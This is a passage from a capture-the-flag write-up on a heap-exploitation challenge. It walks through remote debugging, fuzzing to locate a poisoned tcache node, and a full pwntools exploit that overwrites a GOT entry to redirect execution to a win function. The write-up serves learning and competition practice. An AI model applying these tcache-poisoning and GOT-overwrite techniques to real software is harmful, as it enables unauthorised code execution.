Trying to run the exploit on the remote server won’t work, though. So let’s do some debugging.

Debug and fuzz

Typically, such things happen in pwn exploits due to a difference in libc versions from local to remote. Let’s hypothesise the parts of our code that could be wrong.

  1. The tcache chunks do not utilise safe linking, i.e. libc < 2.32.
  2. The tcache chunks do not have double free detection via keys, i.e. libc < 2.29
  3. Remote server does not use tcache, i.e. libc < 2.26 (GG)
  4. Our offsets are wrong (somehow)
  5. The win function isn’t the win function.

I came up with ways to test each of these hypotheses, and deduced that it was (4) that was the issue. I’ll be discussing my thinking in doing black-box debugging for each of the possible cases. If you want to skip straight to the final exploit, feel free to go on to the next section.

TRUE: The tcache chunks do not utilise safe linking

With my mangle function returning the encrypted pointer, the connection to remote terminates, i.e. the code errors out, at adding our poisoned node add(0x2, b"D"). Without safe linking, the remote program runs all the way to the end, although we still don’t get our flag.

FALSE: The tcache chunks do not have double free detection via keys

If the tcache chunks do not have double free detection via keys, we will not get write access into tcache_perthread_struct after deleting rootnode. This means that we will fail to poison tcache, and our poisoned tcache chunks will not be served. Then, we can create an invalid tcache chunk, i.e. one pointing to 0x0, without the program failing.

Replacing the payload in line 77 with:

1
2
# payload = p64(0x2) + p64(0x0) * 15 + p64(tcache_where) + p64(0x0) + fake_chunk
payload = p64(0x2) + p64(0x0) * 15 + p64(0x0) + p64(0x0) + fake_chunk

If we are writing into tcache_perthread_struct, we have successfully created a 0x20 chunk to 0x0. So, when we next try to add a node, we will crash the program. Conversely, if we are not writing into tcache_perthread_struct, the payload is irrelevant and the program will not be crashed. Sending the above payload does crash the program, so we know that we are writing into tcache_perthread_struct.

We can confirm this by setting the second forged tcache chunk to point to 0x0 instead, i.e. on line 75:

1
2
# fake_node = p64(mangle(tcache_where, inside_mem_where)) + p64(0x0) * 3
fake_node = p64(mangle(tcache_where, 0x0)) + p64(0x0) * 3

Indeed, this only crashes the program after adding the second node, and not the first node. This confirms that the tcache chunks do have double free detection via keys.

FALSE: Remote server does not use tcache

Since the previous premise is false, this premise is necessarily false too since we have shown that the program does use tcache.

TRUE: Our offsets are wrong (somehow)

This is where the fuzzing begins. I hypothesised that my heap offsets were somehow incorrect (the BSS and GOT offsets are fixed in the binary). I was also sure that I was created a poisoned node, although apparently not in the lvl2_mem chunk. To figure out the location of the poisoned node in memory, I made use of the following behaviour. Suppose our poisoned node resides somewhere in the lvl2_mem chunk. Then, adding a node that has a buffer corresponding to that section of the lvl2_mem chunk will overwrite the contents of the poisoned node, including invalidating its node_ptr. Next, adding another node will cause the program to crash as adding the new node traverses the entire linked list, including the poisoned node’s invalid node_ptr. Finally, we can make use of the fact that adding the maximum number of every size chunk available will overwrite the contents of (almost) every byte of lvl2_mem. If we manage to completely fill up lvl2_mem and still add new nodes till the end, then the poisoned node does not reside in that lvl2_mem chunk, which is a 0x10000 block of heap. So, we can easily search 0x10000 by 0x10000 bytes of the heap to identify where our poisoned node resides. You can think of it this way:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Attempt 1
0xAAAA ......... 0xBBBB <---------------> 0xBBBB+0x10000
        /\                     /\
   poisoned_node            lvl2_mem
   
# Attempt 2
0xAAAA ......... 0xBBBB <---------------> 0xBBBB+0x10000
             /\                /\
         poisoned_node      lvl2_mem
         
# Attempt 3 - Bingo!
0xAAAA ......... 0xBBBB <---------------> 0xBBBB+0x10000
                        /\        /\
                   poisoned_node lvl2_mem
# By trying to insert our poisoned_node at different places in heap, we will eventually reach a point where it lies inside the 0x10000 bytes of lvl2_mem, which will trigger an error. Depending on adding which node fails, we can identify exactly which part of lvl2_mem poisoned_node resides at.
# For instance, since Attempt 1 does not throw an error, we can try a more forward position for poisoned_node in memory.

Let’s first modify our add helper function to deal with reaching the maximum number of nodes as follows:

1
2
3
4
5
6
7
def add(length, content):
    sla(b"would you like to do?", b"1")
    sla(b"Input the length (maximum: 0x1000) of the node's buffer:", str(length).encode("ascii"))
    if not b"allocation" in p.recv(0x18):
        p.sendline(content)  # b"Input the string you would like to allocate in this node:", 
    else:
        pass  # 'Max allocation reached.\n'

Next, add the following code after adding the poisoned node:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
count = 0
for _ in range(0x14):
    add((0x10-1), b"A"*(0x10-1))
    count += 1
    l(f"this is the count: {count}")

for _ in range(0x14):
    add((0x40-1), b"A"*(0x40-1))
    count += 1
    l(f"this is the count: {count}")

for _ in range(0x14):
    add((0x100-1), b"A"*(0x100-1))
    count += 1
    l(f"this is the count: {count}")

for _ in range(0x14):
    add((0x400-1), b"A"*(0x400-1))
    count += 1
    l(f"this is the count: {count}")

for _ in range(0x14):
    add((0x1000-1), b"A"*(0x400-1))
    count += 1
    l(f"this is the count: {count}")

This code should run successfully, i.e. without early termination. Let’s try offsetting inside_mem_where:

1
inside_mem_where = heap_leak - 0x55656c0bb070 + 0x55656c0be4d0 + 6 * 0x40 + 0x8000 * 1

We offset it forwards in memory by 0x8000 bytes and… the program crashes at “Count = 84”. This means adding the “Count = 83” overwrote the poisoned node, so trying to add the “Count = 84” node triggered the crash! The “Count = 83” node is the 3rd very very big node we added (i.e. size = 0x1000-1). This gives us the offset of poisoned node to an accuracy of ±0x1000. We can further improve this. Since we know the 3rd very very big node is at offset 0x42e0 + 0x1000 * 3, let’s subtract that off inside_mem_where.

1
inside_mem_where -= (3 * 0x1000) + 0x42e0

Now, re-running the code, the program crashes at “Count = 26”. This is the 6th node of size (0x40-1). So, we know the 5th node of this size overwrote our poisoned node. This gives us the offset of the poisoned node to an accuracy of ±0x40. We can go even further to narrow it down to ±0x10, but this is sufficient for us (in fact we could have stopped at the first level of fuzzing).

The final step involves using this 5th node to overwrite the poisoned node’s mem_ptr to point to the GOT. Luckily, since we do not need to use any of the node’s properties after modifying it, we can make use of the chunks’ alignment to spray the poisoned node with pointers to the GOT. Here’s what that looks like:

1
2
3
4
for _ in range(4):
    add((0x40-1), b"A"*(0x40-1))

add((0x40-1), p64(srand_got) * 7)  # the 5th node overwrites our poisoned node

getting the flag

Here’s the final exploit in full, with the fuzzing code commented out.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
from pwn import *
context.log_level = "debug"

p = remote("chal010yo0os7fxmu2rhdrybsdiwsdqxgjdfuh.ctf.sg", 64421)
# p = process("./pwnlindrome.elf")

def sla(a, b):
    p.sendlineafter(a, b)

opt = lambda o: sla(b"Enter your option:", str(o).encode("ascii"))
l = lambda i: log.info(i)

# Lvl 2 exploit
opt(2)

def mangle(location, ptr):
    return ptr  # after debugging on remote
    # L = location
    # P = ptr
    # New_Ptr = (L >> 12) ^ P
    # return New_Ptr

def add(length, content):
    sla(b"would you like to do?", b"1")
    sla(b"Input the length (maximum: 0x1000) of the node's buffer:", str(length).encode("ascii"))
    if not b"allocation" in p.recv(0x18):
        p.sendline(content)  # b"Input the string you would like to allocate in this node:", 
    else:
        pass  # 'Max allocation reached.\n'

def modify(index, length, content):
    sla(b"would you like to do?", b"2")
    sla(b"Input the node's index:", str(index).encode("ascii"))
    sla(b"Input the length (maximum: 0x1000) of the node's buffer:", str(length).encode("ascii"))
    sla(b"Input the string you would like to allocate in this node:", content)

def delete():
    sla(b"would you like to do?", b"3")
    
def read(index):
    sla(b"would you like to do?", b"4")
    sla(b"Input the node's index:", str(index).encode("ascii"))
    p.recvuntil(b"Here comes the buffer!")
    res = p.recvuntil(b"What").replace(b"What", b"")
    return res

def back():
    sla(b"would you like to do?", b"6")

add(0x30, b"A")  # create med-sized node first
delete()

add(5, b"A")
modify(1, 0x150, b"A"*0x150)
leak = read(1)
leak = leak[leak.find(b"AAAA")+0x150:]
leak = u64(leak[:6].ljust(8, b"\0"))
delete()

base = leak - 0x55555555c41c
srand_got = base + 0x55555555c0c8
win = base + 0x555555557e40

add(3, b"C")
delete()
delete()  # delete root node

modify(1, 16*0x8, b"A"*16*0x8)
heap_leak = read(1)
heap_leak = heap_leak[heap_leak.find(b"AAAA")+16*0x8:]
heap_leak = u64(heap_leak[:6].ljust(8, b"\0"))

heap_base = heap_leak - 0x564144ba3070
tcache_where = heap_base + 0x564144b91090 + 0x20
# inside_mem_where = heap_leak - 0x5599e05e9070 + 0x5599e05ec4d0 + 6 * 0x40
# From the fuzzing results
inside_mem_where = heap_leak - 0x55656c0bb070 + 0x55656c0be4d0 + 6 * 0x40 + 0x8000 * 1
inside_mem_where -= (3 * 0x1000) + 0x42e0

# Next, poison tcache
fake_chunk_hdr = p64(0x0) + p64(0x21)
fake_node = p64(mangle(tcache_where, inside_mem_where)) + p64(0x0) * 3
fake_chunk = fake_chunk_hdr + fake_node
payload = p64(0x2) + p64(0x0) * 15 + p64(tcache_where) + p64(0x0) + fake_chunk
modify(1, 0x200, payload)

add((0x1000-1), b"C")  # this is the padding node (index 0)
add(0x2, b"D")  # this is the poisoned node, located at lvl2_mem + 0x6a0 (index 1)

# count = 0
# for _ in range(0x14):
#     add((0x10-1), b"A"*(0x10-1))
#     count += 1
#     l(f"this is the count: {count}")

# for _ in range(0x14):
#     add((0x40-1), b"A"*(0x40-1))
#     count += 1
#     l(f"this is the count: {count}")

# for _ in range(0x14):
#     add((0x100-1), b"A"*(0x100-1))
#     count += 1
#     l(f"this is the count: {count}")

# for _ in range(0x14):
#     add((0x400-1), b"A"*(0x400-1))
#     count += 1
#     l(f"this is the count: {count}")

# for _ in range(0x14):
#     add((0x1000-1), b"A"*(0x400-1))
#     count += 1
#     l(f"this is the count: {count}")

for _ in range(4):
    add((0x40-1), b"A"*(0x40-1))

add((0x40-1), p64(srand_got) * 7)  # the 5th node overwrites our poisoned node

# add((0x40-1), payload)  # this is a big node, which has its mem_ptr pointing to lvl2_mem + 0x6a0
# now, our poisoned node's mem_ptr points to srand_got

# modify the text pointed at by the poisoned node
modify(1, 0x8, p64(win))

# trigger call to srand, which now points to win function
back()
opt(1)
p.sendline(b"1")  # srand is called in level1

p.interactive()

Addendums

Level 1 and 3 can be solved easily, although neither were helpful in getting the flag. The desired inputs can be brute-forced easily by recreating the functions in level 1 and 3, in C++. Here’s the python script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context.log_level = "debug"

p = process("./pwnlindrome.elf")

opt = lambda o: p.sendlineafter(b"Enter your option:", str(o).encode("ascii"))

opt(1)
p.sendline(b"180")
for _ in range(15):
    p.sendline(b"1")
p.sendline(b"34")
opt(3)

p.interactive()

Overall thoughts

Finishing these 6 challenges, I completed a challenge from every category. It was a good learning experience for me and hopefully I have time to play again next year :)